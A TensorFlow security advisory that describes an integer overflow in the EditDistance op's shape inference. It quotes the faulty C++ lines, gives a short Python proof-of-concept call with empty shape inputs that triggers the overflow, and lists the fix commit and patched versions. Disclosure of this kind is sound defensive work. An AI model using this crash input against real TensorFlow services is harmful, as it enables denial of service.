TFversion 2.11.0 //tensorflow/core/ops/arrayops.cc:1067 const Tensor* hypothesisshapet = c->inputtensor(2); std::vector<DimensionHandle> dims(hypothesisshapet->NumElements() - 1); for (int i = 0; i < dims.size(); ++i) { dims[i] = c->MakeDim(std::max(hvalues(i), tvalues(i))); }
if hypothesisshapet is empty, hypothesisshapet->NumElements() - 1 will be integer overflow, and the it will deadlock
import tensorflow as tf
para={
'hypothesis_indices': [[]],
'hypothesis_values': ['tmp/'],
'hypothesis_shape': [],
'truth_indices': [[]],
'truth_values': [''],
'truth_shape': [],
'normalize': False
}
tf.raw_ops.EditDistance(**para)
We have patched the issue in GitHub commit 08b8e18643d6dcde00890733b270ff8d9960c56c.
The fix will be included in TensorFlow 2.12.0. We will also cherrypick this commit on TensorFlow 2.11.1
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
This vulnerability has been reported by r3pwnx
{ "nvd_published_at": "2023-03-25T00:15:00Z", "github_reviewed_at": "2023-03-24T21:58:31Z", "severity": "HIGH", "github_reviewed": true, "cwe_ids": [ "CWE-190" ] }